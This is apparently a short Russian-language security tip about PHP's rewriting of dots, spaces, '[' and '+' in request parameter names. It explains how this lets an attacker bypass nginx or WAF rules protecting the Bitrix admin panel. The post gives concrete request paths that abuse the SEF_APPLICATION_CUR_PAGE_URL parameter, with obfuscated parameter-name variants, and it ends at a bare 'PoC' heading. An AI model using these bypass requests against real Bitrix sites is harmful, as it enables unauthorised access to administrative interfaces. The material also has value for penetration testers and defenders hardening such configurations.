#bitrix #php



В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.



Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:



/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/



если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:





/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/

/pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/



PoC



>